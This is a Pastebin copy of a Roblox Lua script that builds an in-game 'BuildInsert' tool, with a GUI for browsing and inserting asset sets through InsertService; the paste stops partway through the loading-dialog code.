Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Tool0 = Instance.new("Tool")
- LocalScript1 = Instance.new("LocalScript")
- ObjectValue2 = Instance.new("ObjectValue")
- Part3 = Instance.new("Part")
- SpecialMesh4 = Instance.new("SpecialMesh")
- Sound5 = Instance.new("Sound")
- Sound6 = Instance.new("Sound")
- Sound7 = Instance.new("Sound")
- Sound8 = Instance.new("Sound")
- Sound9 = Instance.new("Sound")
- Fire10 = Instance.new("Fire")
- Script11 = Instance.new("Script")
- Sound12 = Instance.new("Sound")
- Script13 = Instance.new("Script")
- ObjectValue14 = Instance.new("ObjectValue")
- Script15 = Instance.new("Script")
- Script16 = Instance.new("Script")
- Script17 = Instance.new("Script")
- Script18 = Instance.new("Script")
- Tool0.Name = "BuildInsert"
- Tool0.Parent = mas
- Tool0.TextureId = "rbxasset://icons/insert.png"
- Tool0.GripForward = Vector3.new(-1, 0, -0)
- Tool0.GripPos = Vector3.new(0.600000024, 0.200000003, 0)
- Tool0.GripRight = Vector3.new(0, 0, -1)
- LocalScript1.Name = "Insert Local"
- LocalScript1.Parent = Tool0
- table.insert(cors,sandbox(LocalScript1,function()
- local Tool = script.Parent
- --game:GetService("InsertService"):SetCollectionUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?sid=%d")
- --game:GetService("InsertService"):SetBaseCategoryUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?nsets=10")
- --game:GetService("InsertService"):SetAssetUrl("http://test.roblox.com/Asset/?id=%d")
- enabled = true
- local origTexture = Tool.TextureId
- game:GetService("ContentProvider"):Preload("rbxasset://icons/insert_sel.png")
- local height = 20
- local width = UDim.new(0.25, 0)
- local height = 20
- local buttonTransparency = 0.1
- local insertButtonTransparency = 0.25
- local transparency = 0.25
- local selectedButtonColor = Color3.new(.1255, .4078, .1961)
- local selectedButtonTextColor = Color3.new(1.0,1.0,1.0)
- local buttonColor = Color3.new(0.0898, 0.2148, .2344)
- local buttonTextColor = Color3.new(1.0,1.0,1.0)
- local frameColor = Color3.new(.1255, .4078, .1961)
- local frameTextColor = Color3.new(1.0,1.0,1.0)
- local titleColor = Color3.new(0.6289, 0.8398, 0)
- local titleTextColor = Color3.new(0.0,0.0,0.0)
- local Window
- local Data
- local Mouse
- local SetCache = {}
- local soloGame = game:FindFirstChild("NetworkClient") == nil
- --Constants
- local useAssetVersionId = true
- local BaseUrl = game:GetService("ContentProvider").BaseUrl
- local ThumbnailUrl;
- if useAssetVersionId then
- ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&assetversionid="
- else
- ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&aid="
- end
- local InsertRows = 4
- local InsertColumns = 8
- --Static variables used for creating sizes
- function getPlayer()
- local character = script.Parent.Parent
- return game.Players:GetPlayerFromCharacter(character)
- end
- function minimize()
- if Window.Stamp.Frame.Visible then
- cancelAssetPlacement()
- elseif Window.Main.Frame.Visible then
- Window.Main.Frame.Visible = false
- Window.Minimized.Frame.Visible = true
- end
- end
- function buildImageButton(image)
- local buttonFrame = Instance.new("Frame")
- buttonFrame.BackgroundTransparency = 1.0
- local button = Instance.new("ImageButton")
- button.Name = "Button"
- button.Parent = buttonFrame
- button.Image = image
- button.Size = UDim2.new(1.0, 0, 1.0, 0)
- button.Position = UDim2.new(0.0, 0, 0.0, 0)
- button.BorderSizePixel = 1
- button.Parent = buttonFrame
- button.BackgroundTransparency = 0
- return buttonFrame
- end
- function buildTextButton(text)
- local buttonFrame = Instance.new("Frame")
- buttonFrame.BackgroundTransparency = 1.0
- local button = Instance.new("TextButton")
- button.Name = "Button"
- button.Parent = buttonFrame
- button.Text = text
- button.Size = UDim2.new(1.0, 0, 1.0, 0)
- button.TextWrap = true
- button.Position = UDim2.new(0.0, 0, 0.0, 0)
- button.BorderSizePixel = 1
- button.BackgroundTransparency = buttonTransparency
- button.Parent = buttonFrame
- return buttonFrame
- end
- function mouseEnterInsertButton(insertFrame)
- if insertFrame ~= Data.CurrentRolloverInsertButton then
- insertFrame.Button.Transparency = 0.0
- Data.CurrentRolloverInsertButton = insertFrame
- Window.Main.RolloverText.Text = Data.CurrentRolloverInsertButton.AssetName.Value
- end
- end
- function mouseLeaveInsertButton(insertFrame)
- if insertFrame == Data.CurrentRolloverInsertButton then
- Window.Main.RolloverText.Text = ""
- Data.CurrentRolloverInsertButton = nil
- end
- insertFrame.Button.Transparency = insertButtonTransparency
- end
- function buildInsertButton(position, size)
- local insertFrame = buildImageButton("")
- insertFrame.Name = "InsertAssetButton"
- insertFrame.Position = position
- insertFrame.Size = size
- insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0)
- insertFrame.Button.Transparency = insertButtonTransparency
- insertFrame.Visible = false
- local assetId = Instance.new("IntValue")
- assetId.Name = "AssetId"
- assetId.Value = -1
- assetId.Parent = insertFrame
- local assetName = Instance.new("StringValue")
- assetName.Name = "AssetName"
- assetName.Value = ""
- assetName.Parent = insertFrame
- insertFrame.Button.MouseButton1Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, false) end)
- insertFrame.Button.MouseButton2Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, true) end)
- insertFrame.Button.MouseEnter:connect(function() mouseEnterInsertButton(insertFrame) end)
- insertFrame.Button.MouseLeave:connect(function() mouseLeaveInsertButton(insertFrame) end)
- return insertFrame
- end
- function setInsertButtonImageBehavior(insertFrame, visible, name, assetId)
- if visible then
- insertFrame.AssetName.Value = name
- insertFrame.AssetId.Value = assetId
- insertFrame.Button.Image = ThumbnailUrl .. assetId
- insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0)
- insertFrame.Visible = true
- else
- insertFrame.Visible = false
- end
- end
- function mouseEnterSetButton(setFrame)
- if setFrame.Button.AutoButtonColor then
- setFrame.Button.Icon.Transparency = 0.0
- end
- end
- function mouseLeaveSetButton(setFrame)
- if setFrame.Button.AutoButtonColor then
- setFrame.Button.Icon.Transparency = insertButtonTransparency
- end
- end
- function buildSetButton(name, setId, setImageId, i, count)
- local buttonFrame = buildTextButton("")
- buttonFrame.Name = "SetButton"
- buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2)
- buttonFrame.Position = UDim2.new(0.0, 0, 0.0, (i-1)*height*2)
- buttonFrame.Button.BackgroundColor3 = buttonColor
- buttonFrame.Button.TextColor3 = buttonTextColor
- buttonFrame.Visible = false
- local setNameLabel = Instance.new("TextLabel")
- setNameLabel.Name = "Name"
- setNameLabel.Text = name
- setNameLabel.TextColor3 = buttonTextColor
- setNameLabel.BackgroundTransparency = 1.0
- setNameLabel.Size = UDim2.new(1.0, -height*2, 1.0, 0.0)
- setNameLabel.Position = UDim2.new(0.0, height*2, 0.0, 0)
- setNameLabel.TextWrap = true
- setNameLabel.TextXAlignment = Enum.TextXAlignment.Left
- setNameLabel.Parent = buttonFrame.Button
- local iconLabel = Instance.new("ImageLabel")
- iconLabel.Name = "Icon"
- iconLabel.Image = BaseUrl .. "asset/?id=" .. setImageId
- iconLabel.Size = UDim2.new(0.0, height*2 - 4, 0.0, height*2 -4)
- iconLabel.Position = UDim2.new(0.0, 2, 0.0, 2)
- iconLabel.Transparency = insertButtonTransparency
- iconLabel.Parent = buttonFrame.Button
- local setValue = Instance.new("IntValue")
- setValue.Name = "SetId"
- setValue.Value = setId
- setValue.Parent = buttonFrame
- local setName = Instance.new("StringValue")
- setName.Name = "SetName"
- setName.Value = name
- setName.Parent = buttonFrame
- buttonFrame.Button.MouseButton1Click:connect(function() selectSet(buttonFrame, buttonFrame.SetName.Value, buttonFrame.SetId.Value, 0) end)
- buttonFrame.Button.MouseEnter:connect(function() mouseEnterSetButton(buttonFrame) end)
- buttonFrame.Button.MouseLeave:connect(function() mouseLeaveSetButton(buttonFrame) end)
- --print("Built button " .. i .. " SetId=" .. setId .. " SetName=" .. name)
- return buttonFrame
- end
- function previousSetPage()
- local newIndex = math.max(1, Data.Category[Data.CurrentCategory].Index - (Data.Main.InsertRows * Data.Main.InsertColumns))
- setSetIndex(newIndex)
- end
- function nextSetPage()
- local newIndex = math.max(0, Data.Category[Data.CurrentCategory].Index + (Data.Main.InsertRows * Data.Main.InsertColumns))
- setSetIndex(newIndex)
- end
- function setSetIndex(dataOffset)
- Data.Category[Data.CurrentCategory].Index = dataOffset
- local PageSize = Data.Main.InsertRows*Data.Main.InsertColumns
- local contents = Data.Category[Data.CurrentCategory].Contents
- if contents then
- for index = 1, PageSize do
- if Data.InsertButtons[index] then
- if contents[index + dataOffset] then
- --for key, value in pairs(contents[index+dataOffset]) do
- -- print("key=" .. key .. ", value=" .. value)
- --end
- local assetId
- if useAssetVersionId then
- assetId = contents[index + dataOffset].AssetVersionId
- else
- assetId = contents[index + dataOffset].AssetId
- end
- setInsertButtonImageBehavior(Data.InsertButtons[index], true, contents[index + dataOffset].Name, assetId)
- else
- setInsertButtonImageBehavior(Data.InsertButtons[index], false)
- end
- end
- end
- Window.Main.PreviousPageButton.Visible = dataOffset > 0
- Window.Main.NextPageButton.Visible = (dataOffset + PageSize) < (#contents)
- else
- Window.Main.PreviousPageButton.Visible = false
- Window.Main.NextPageButton.Visible = false
- end
- end
- function previousCategoryPage()
- local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex - Data.Main.InsertSets)
- setCategoryIndex(newIndex)
- end
- function nextCategoryPage()
- local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex + Data.Main.InsertSets)
- setCategoryIndex(newIndex)
- end
- function setCategoryIndex(setIndex)
- Data.Category[Data.CurrentCategory].SetIndex = setIndex
- --This is how many vertical items we can display
- --Layout all buttons in this setoh
- if #Data.CurrentCategory > Data.Main.InsertSets then
- --Steal one for use by the layout buttons, when it rains it pours
- --We can't fit all the buttons
- local heightUsed = 0
- local index = 1
- if index < setIndex then
- heightUsed = height
- Window.Main.PreviousSetButton.Visible = true
- while index < setIndex do
- Data.CurrentCategory[index].Visible = false
- index = index + 1
- end
- else
- Window.Main.PreviousSetButton.Visible = false
- end
- local offset = 0
- while offset < Data.Main.InsertSets and index + offset <= #Data.CurrentCategory do
- Data.CurrentCategory[index + offset].Size = UDim2.new(1.0, 0, 0.0, height*2)
- Data.CurrentCategory[index + offset].Position = UDim2.new(0.0, 0, 0.0, height*2*offset + heightUsed)
- Data.CurrentCategory[index + offset].Visible = true
- offset = offset + 1
- end
- index = index + offset
- heightUsed = heightUsed + Data.Main.InsertSets*height*2
- if index <= #Data.CurrentCategory then
- Window.Main.NextSetButton.Position = UDim2.new(0.0, 0, 0.0, heightUsed)
- Window.Main.NextSetButton.Size = UDim2.new(1.0, 0, 1.0, -heightUsed)
- Window.Main.NextSetButton.Visible = true
- while index <= #Data.CurrentCategory do
- Data.CurrentCategory[index].Visible = false
- index = index + 1
- end
- else
- Window.Main.NextSetButton.Visible = false
- end
- --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(0.0, 0, 0.0, 0)
- else
- Window.Main.PreviousSetButton.Visible = false
- Window.Main.NextSetButton.Visible = false
- for key, buttonFrame in pairs(Data.CurrentCategory) do
- buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2)
- buttonFrame.Position = UDim2.new(0.0, 0, 0.0, height*2*(key-1))
- buttonFrame.Visible = true
- end
- --Then expand this to fill the remaining space at the bottom
- --Window.Main.Frame.SetTab.SetFiller.Position = UDim2.new(0.0, 0, 0.0, height*2*#Data.CurrentCategory)
- --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(1.0, 0, 0.0, frameHeight - height*2*#Data.CurrentCategory)
- end
- end
- function selectCategoryPage(buttons, page)
- if buttons ~= Data.CurrentCategory then
- if Data.CurrentCategory then
- for key, button in pairs(Data.CurrentCategory) do
- button.Visible = false
- end
- end
- Data.CurrentCategory = buttons
- if Data.Category[Data.CurrentCategory] == nil then
- Data.Category[Data.CurrentCategory] = {}
- if #buttons > 0 then
- selectSet(buttons[1], buttons[1].SetName.Value, buttons[1].SetId.Value, 0)
- end
- else
- Data.Category[Data.CurrentCategory].Button = nil
- selectSet(Data.Category[Data.CurrentCategory].ButtonFrame, Data.Category[Data.CurrentCategory].SetName, Data.Category[Data.CurrentCategory].SetId, Data.Category[Data.CurrentCategory].Index)
- end
- if Data.Main.FrameHeight then
- if Data.Category[Data.CurrentCategory].SetIndex then
- layoutSetButtons(Data.Main.FrameHeight, Data.Category[Data.CurrentCategory].SetIndex)
- else
- layoutSetButtons(Data.Main.FrameHeight, 1)
- end
- end
- end
- end
- function filterSet(set)
- if soloGame then
- return set
- end
- local result = {}
- for pos, object in pairs(set) do
- if object.IsTrusted then
- result[#result+1] = object
- end
- end
- return result
- end
- function selectSet(buttonFrame, setName, setId, setIndex)
- if buttonFrame then
- if buttonFrame.Button ~= Data.Category[Data.CurrentCategory].Button then
- if Data.Category[Data.CurrentCategory].Button ~= nil then
- Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = buttonColor
- Data.Category[Data.CurrentCategory].Button.TextColor3 = buttonTextColor
- Data.Category[Data.CurrentCategory].Button.Icon.Transparency = insertButtonTransparency
- Data.Category[Data.CurrentCategory].Button.AutoButtonColor = true
- end
- Data.Category[Data.CurrentCategory].Button = buttonFrame.Button
- Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = selectedButtonColor
- Data.Category[Data.CurrentCategory].Button.TextColor3 = selectedButtonTextColor
- Data.Category[Data.CurrentCategory].Button.Icon.Transparency = 0.0
- Data.Category[Data.CurrentCategory].Button.AutoButtonColor = false
- if SetCache[setId] == nil then
- SetCache[setId] = filterSet(game:GetService("InsertService"):GetCollection(setId))
- end
- Data.Category[Data.CurrentCategory].Contents = SetCache[setId]
- Window.Main.Title.Text = setName
- Data.Category[Data.CurrentCategory].SetName = setName
- Data.Category[Data.CurrentCategory].SetId = setId
- Data.Category[Data.CurrentCategory].ButtonFrame = buttonFrame
- end
- setSetIndex (setIndex)
- end
- end
- function selectCategory(button, category)
- if Data.CurrentCategory ~= category then
- if Data.CurrentCategoryButton then
- Data.CurrentCategoryButton.BackgroundColor3 = buttonColor
- Data.CurrentCategoryButton.TextColor3 = buttonTextColor
- Data.CurrentCategoryButton.AutoButtonColor = true
- end
- end
- selectCategoryPage(category, 0)
- Data.CurrentCategoryButton = button
- Data.CurrentCategoryButton.BackgroundColor3 = selectedButtonColor
- Data.CurrentCategoryButton.TextColor3 = selectedButtonTextColor
- Data.CurrentCategoryButton.AutoButtonColor = false
- end
- function processCategory(sets, setPanel)
- local setButtons = {}
- for index, object in pairs(sets) do
- --for key, value in pairs(object) do
- -- print("key=" .. key .. ", value=" .. value)
- --end
- setButtons[index] = buildSetButton(object.Name, object.CategoryId, object.ImageAssetId, index, #sets)
- setButtons[index].Parent = setPanel
- end
- return setButtons
- end
- function buildMainGui(root, userId)
- Window.Main = {}
- Data.Main = {}
- Data.Category = {}
- local mainFrame = Instance.new("Frame")
- mainFrame.Name = "InsertMainDialog"
- mainFrame.Position = UDim2.new(0.0, 0, 0.25, 0)
- mainFrame.Size = UDim2.new(0.75, 0, 0.75, 0)
- mainFrame.Transparency = 1.0
- mainFrame.Active = true
- mainFrame.Parent = root
- Window.Main.Frame = mainFrame
- local setTab = Instance.new("Frame")
- setTab.Position = UDim2.new(0.0, 0, 0.0, 0)
- setTab.Size = UDim2.new(0.15, 0, 1.0, 0)
- setTab.BackgroundTransparency = 1.0
- setTab.Name = "SetTab"
- setTab.Parent = mainFrame
- local setPanel = Instance.new("Frame")
- setPanel.Position = UDim2.new(0.0, 0, 0.0, 0)
- setPanel.Size = UDim2.new(1.0, 0, 1.0, 0)
- setPanel.BackgroundTransparency = 1.0
- setPanel.Name = "SetPanel"
- setPanel.Parent = setTab
- local setFiller = Instance.new("Frame")
- setFiller.Name = "SetFiller"
- setFiller.Size = UDim2.new(0.0, 0, 0.0, 0)
- setFiller.Position = UDim2.new(0.0, 0, 0.0, 0)
- setFiller.BackgroundColor3 = frameColor
- setFiller.BackgroundTransparency = transparency*.5
- setFiller.Parent = setTab
- local previousSetButton = Instance.new("TextButton")
- previousSetButton.Name = "PreviousSetButton"
- previousSetButton.Size = UDim2.new(1.0, 0, 0, height)
- previousSetButton.Position = UDim2.new(0.0, 0, 0.0, 0)
- previousSetButton.BackgroundColor3 = buttonColor
- previousSetButton.TextColor3 = buttonTextColor
- previousSetButton.BackgroundTransparency = transparency
- previousSetButton.Text = "..."
- previousSetButton.MouseButton1Click:connect(previousCategoryPage)
- previousSetButton.Parent = setTab
- previousSetButton.Visible = false
- Window.Main.PreviousSetButton = previousSetButton
- local nextSetButton = Instance.new("TextButton")
- nextSetButton.Name = "NextSetButton"
- nextSetButton.Size = UDim2.new(1.0, 0, 0.0, height)
- nextSetButton.Position = UDim2.new(0.0, 0, 1.0, -height)
- nextSetButton.BackgroundColor3 = buttonColor
- nextSetButton.TextColor3 = buttonTextColor
- nextSetButton.BackgroundTransparency = transparency
- nextSetButton.Text = "..."
- nextSetButton.MouseButton1Click:connect(nextCategoryPage)
- nextSetButton.Parent = setTab
- nextSetButton.Visible = false
- Window.Main.NextSetButton = nextSetButton
- local insertTab = Instance.new("Frame")
- insertTab.Name = "InsertTab"
- insertTab.Position = UDim2.new(0.15, 0, 0.0, 0)
- insertTab.Size = UDim2.new(0.85, 0, 1.0, 0)
- insertTab.BackgroundTransparency = 1.0
- insertTab.Parent = mainFrame
- Data.BaseCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel)
- local userData = game:GetService("InsertService"):GetUserCategories(userId)
- if userData then
- Data.UserCategoryButtons = processCategory(userData, setPanel)
- local userCategoryButton = Instance.new("TextButton")
- userCategoryButton.Name = "UserCategoryButton"
- userCategoryButton.Size = UDim2.new(0.25, 0, 0, height)
- userCategoryButton.Position = UDim2.new(0.25, 0, 0.0, -height)
- userCategoryButton.BackgroundColor3 = buttonColor
- userCategoryButton.TextColor3 = buttonTextColor
- userCategoryButton.BackgroundTransparency = transparency*.5
- userCategoryButton.Text = "User Sets"
- userCategoryButton.MouseButton1Click:connect(function() selectCategory(userCategoryButton, Data.UserCategoryButtons) end)
- userCategoryButton.Parent = insertTab
- end
- --Data.UserCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel)
- local baseCategoryButton = Instance.new("TextButton")
- baseCategoryButton.Name = "RobloxCategoryButton"
- baseCategoryButton.Size = UDim2.new(0.25, 0, 0, height)
- baseCategoryButton.Position = UDim2.new(0.0, 0, 0.0, -height)
- baseCategoryButton.BackgroundColor3 = buttonColor
- baseCategoryButton.TextColor3 = buttonTextColor
- baseCategoryButton.BackgroundTransparency = transparency *.5
- baseCategoryButton.Text = "Roblox Sets"
- baseCategoryButton.MouseButton1Click:connect(function() selectCategory(baseCategoryButton, Data.BaseCategoryButtons) end)
- baseCategoryButton.Parent = insertTab
- local titleFrame = Instance.new("TextLabel")
- titleFrame.Name = "Title"
- titleFrame.Position = UDim2.new(0.0, 0, 0.0, 0)
- titleFrame.Size = UDim2.new(1.0, 0, 0.0, height)
- titleFrame.TextWrap = true
- titleFrame.BackgroundColor3 = titleColor
- titleFrame.TextColor3 = titleTextColor
- titleFrame.BackgroundTransparency = .1
- titleFrame.Text = "Set Foo"
- titleFrame.Parent = insertTab
- Window.Main.Title = titleFrame
- local minimizeButton = Instance.new("ImageButton")
- minimizeButton.Name = "Minimize"
- minimizeButton.Position = UDim2.new(1.0, -height + 1, 0.0, 1)
- minimizeButton.Size = UDim2.new(0.0, height-2, 0.0, height-2)
- minimizeButton.Image = BaseUrl .. "asset?id=20889725"
- minimizeButton.MouseButton1Click:connect(minimize)
- minimizeButton.Parent = titleFrame
- local insertPanel = Instance.new("Frame")
- insertPanel.Name = "InsertPanel"
- insertPanel.Position = UDim2.new(0.0, 0, 0.0, height)
- insertPanel.Size = UDim2.new(1.0, 0, 1.0, -2*height)
- insertPanel.BackgroundColor3 = frameColor
- insertPanel.BackgroundTransparency = transparency
- insertPanel.Parent = insertTab
- local footerPanel = Instance.new("Frame")
- footerPanel.Name = "Footer"
- footerPanel.Size = UDim2.new(1.0, 0, 0, height)
- footerPanel.Position = UDim2.new(0.0, 0, 1.0, -height)
- footerPanel.BackgroundTransparency = transparency
- footerPanel.BackgroundColor3 = frameColor
- footerPanel.Parent = insertTab
- local rolloverText = Instance.new("TextLabel")
- rolloverText.Name = "RolloverText"
- rolloverText.Size = UDim2.new(0.8, 0, 1.0, 0)
- rolloverText.Position = UDim2.new(0.1, 0, 0.0, 0)
- rolloverText.TextColor3 = frameTextColor
- rolloverText.BackgroundColor3 = frameColor
- rolloverText.BackgroundTransparency = transparency
- rolloverText.Text = ""
- rolloverText.TextWrap = true
- rolloverText.Parent = footerPanel
- Window.Main.RolloverText = rolloverText
- local previousButton = Instance.new("TextButton")
- previousButton.Name = "PreviousPageButton"
- previousButton.Size = UDim2.new(0.1, 0, 1.0, 0)
- previousButton.Position = UDim2.new(0.0, 0, 0.0, 0)
- previousButton.BackgroundColor3 = buttonColor
- previousButton.TextColor3 = buttonTextColor
- previousButton.BackgroundTransparency = transparency
- previousButton.Text = "<--"
- previousButton.MouseButton1Click:connect(previousSetPage)
- previousButton.Parent = footerPanel
- previousButton.Visible = false
- Window.Main.PreviousPageButton = previousButton
- local nextButton = Instance.new("TextButton")
- nextButton.Name = "NextPageButton"
- nextButton.Size = UDim2.new(0.1, 0, 1.0, 0)
- nextButton.Position = UDim2.new(0.9, 0, 0.0, 0)
- nextButton.BackgroundColor3 = buttonColor
- nextButton.TextColor3 = buttonTextColor
- nextButton.BackgroundTransparency = transparency
- nextButton.Text = "-->"
- nextButton.MouseButton1Click:connect(nextSetPage)
- nextButton.Parent = footerPanel
- nextButton.Visible = false
- Window.Main.NextPageButton = nextButton
- local insertButtons = {}
- for y = 1, InsertRows do
- for x = 1, InsertColumns do
- insertButtons[x + (y - 1) * InsertColumns] = buildInsertButton(UDim2.new(.125*(x-1), 2, 0.25*(y-1), 2), UDim2.new(.125, -4, .25, -4))
- insertButtons[x + (y - 1) * InsertColumns].Parent = insertPanel
- end
- end
- Data.InsertButtons = insertButtons
- Data.Main.InsertRows = InsertRows
- Data.Main.InsertColumns = InsertColumns
- selectCategory(baseCategoryButton, Data.BaseCategoryButtons)
- end
- function layoutInsertButtons(guiMain)
- local size = guiMain.AbsoluteSize
- local frameSize = 0.75 * size
- local frameSizeUsed = Vector2.new(0, height*2)
- --We want 15% or 100 pixels, which ever is smaller
- if frameSize.x * .15 < 100 then
- local oldSize = Window.Main.Frame.SetTab.Size
- Window.Main.Frame.SetTab.Size = UDim2.new(0.0, 100, oldSize.Y.Scale, oldSize.Y.Offset)
- Window.Main.Frame.InsertTab.Position = UDim2.new(0.0, 100, 0.0, 0)
- frameSizeUsed = Vector2.new(frameSizeUsed.x + 100, frameSizeUsed.y)
- else
- local oldSize = Window.Main.Frame.SetTab.Size
- Window.Main.Frame.SetTab.Size = UDim2.new(0.15, 0, oldSize.Y.Scale, oldSize.Y.Offset)
- Window.Main.Frame.InsertTab.Position = UDim2.new(0.15, 0, 0.0, 0)
- frameSizeUsed = Vector2.new(frameSizeUsed.x + .15*frameSize.x, frameSizeUsed.y)
- end
- --Decide how many buttons we can fit, and what size to make the insert buttons
- --2 sizes of insert buttons, 50x50 and 100x100
- local buttonSize = 110
- while buttonSize > 70 and math.floor((frameSize - frameSizeUsed).x/buttonSize) * math.floor((frameSize - frameSizeUsed).y/buttonSize) < 32 do
- buttonSize = buttonSize - 10
- end
- Data.Main.InsertColumns = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).x/buttonSize)), InsertColumns)
- Data.Main.InsertRows = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).y/buttonSize)), InsertRows)
- for index, button in pairs(Data.InsertButtons) do
- if index <= Data.Main.InsertRows * Data.Main.InsertColumns then
- button.Visible = true
- button.Size = UDim2.new(0, buttonSize-4, 0, buttonSize-4)
- button.Position = UDim2.new(0, buttonSize * ((index-1)%Data.Main.InsertColumns) + 2 + 2,
- 0, buttonSize * math.floor((index-1)/Data.Main.InsertColumns) + 2 + 2)
- else
- button.Visible = false
- end
- end
- Window.Main.Frame.InsertTab.Size = UDim2.new(0.0, buttonSize * Data.Main.InsertColumns + 4, 0.0, buttonSize * Data.Main.InsertRows + height*2 + 4)
- if Data.Category[Data.CurrentCategory].Index == nil then
- setSetIndex(0)
- else
- setSetIndex(Data.Category[Data.CurrentCategory].Index)
- end
- local finalFrameHeight = frameSizeUsed.y + Data.Main.InsertRows*buttonSize + 4
- Window.Main.Frame.Size = UDim2.new(0, frameSizeUsed.x + Data.Main.InsertColumns*buttonSize + 4, 0, finalFrameHeight)
- Window.Main.Frame.Position = UDim2.new(0.0, 0, 1.0, -Window.Main.Frame.Size.Y.Offset)
- if Data.Category[Data.CurrentCategory].SetIndex == nil then
- layoutSetButtons(finalFrameHeight, 1)
- else
- layoutSetButtons(finalFrameHeight, Data.Category[Data.CurrentCategory].SetIndex)
- end
- end
- function layoutSetButtons(frameHeight, setIndex)
- Data.Main.FrameHeight = frameHeight
- Data.Main.InsertSets = math.floor(frameHeight / (height*2))
- if #Data.CurrentCategory > Data.Main.InsertSets then
- --Steal one entry since we have two many things
- Data.Main.InsertSets = Data.Main.InsertSets - 1
- end
- print("Layout Set Buttons index=" .. setIndex .. ", InsertSets="..Data.Main.InsertSets)
- setCategoryIndex(setIndex)
- end
- function insertComplete()
- Window.Loading.Frame.Visible = false
- Window.Stamp.Frame.Visible = false
- Window.Main.Frame.Visible = true
- end
- function UnlockInstances(object)
- if object:IsA("BasePart") then
- object.Locked = false
- end
- for index,child in pairs(object:GetChildren()) do
- UnlockInstances(child)
- end
- end
- function beginInsertDecal(decal)
- Data.Stamp.DecalSelection = Instance.new("SurfaceSelection")
- Data.Stamp.DecalSelection.Color = BrickColor.new("Bright orange")
- Data.Stamp.DecalSelection.archivable = false
- Data.Stamp.DecalSelection.Parent = getPlayer().PlayerGui
- --Save the decal in our Lua code for later use
- Data.Stamp.Decal = decal
- Data.Stamp.Decal.Parent = nil
- end
- function beginInsertAsset(assetName, assetId, image, stampMode)
- --Copy over details into dialog window
- Window.Loading.AssetThumbLabel.Image = image
- Window.Loading.AssetNameLabel.Text = assetName
- Window.Stamp.AssetThumbLabel.Image = image
- Window.Stamp.AssetNameLabel.Text = assetName
- Data.Stamp.StampMode = stampMode
- --Hide the main window
- Window.Main.Frame.Visible = false
- --Show the dialog window
- Window.Loading.Frame.Visible = true
- Data.Loading.Cancelled = false
- --This call will cause a "wait" until the data comes back
- local root
- if useAssetVersionId then
- root = game:GetService("InsertService"):LoadAssetVersion(assetId)
- else
- root = game:GetService("InsertService"):LoadAsset(assetId)
- end
- if Data.Loading.Cancelled then
- --The user got bored and wandered off
- --Just delete the model from the world... a shame we loaded it when they got bored
- root:Remove()
- else
- Window.Loading.Frame.Visible = false
- local instances = root:GetChildren()
- if #instances == 0 then
- root:Remove()
- insertComplete()
- return
- end
- --Unlock all parts that are inserted, to make sure they are editable
- UnlockInstances(root)
- --Continue the insert process
- root.Name = "InsertedObject" .. assetId
- --Examine the contents and decide what it looks like
- for pos, instance in pairs(instances) do
- --Single instance objects might be treated special, decals/skyboxes
- if instance:IsA("Decal") then
- --Current system here stops after finding one Decal (and gives you Decal tool)
- --We should do the same (probably)
- beginInsertDecal(instance)
- root:Remove()
- Window.Stamp.Frame.Visible = true
- return
- elseif instance:IsA("Team") then
- instance.Parent = game:GetService("Teams")
- elseif instance:IsA("SpawnLocation") then
- elseif instance:IsA("HopperBin") then
- -- Must go into the starterPack, prompt user?
- elseif instance:IsA("Tool") then
- -- Ask them if it should go in StarterPack?
- elseif instance:IsA("Sky") then
- local lightingService = game:GetService("Lighting")
- for index,child in pairs(lightingService:GetChildren()) do
- if child:IsA("Sky") then
- child:Remove();
- end
- end
- instance.Parent = lightingService
- return
- else
- end
- end
- if #root:GetChildren() == 0 then
- root:Remove()
- insertComplete()
- return
- end
- Window.Stamp.Frame.Visible = true
- Data.Stamp.Model = root
- end
- end
- function cancelAssetLoad()
- Data.Loading.Cancelled = true
- insertComplete()
- end
- function buildLoadingDialogGui(root)
- Window.Loading = {}
- Data.Loading = {}
- local dialogFrame = Instance.new("Frame")
- dialogFrame.Name = "InsertLoadingDialog"
- dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5)
- dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5)
- dialogFrame.BackgroundColor3 = frameColor
- dialogFrame.Active = true
- dialogFrame.Parent = root
- dialogFrame.Visible = false
- Window.Loading.Frame = dialogFrame
- local assetThumb = Instance.new("ImageLabel")
- assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2)
- assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4)
- assetThumb.Parent = dialogFrame
- Window.Loading.AssetThumbLabel = assetThumb
- local descriptionFrame = Instance.new("Frame")
- descriptionFrame.Name = "Description"
- descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0)
- descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0)
- descriptionFrame.Transparency = 1
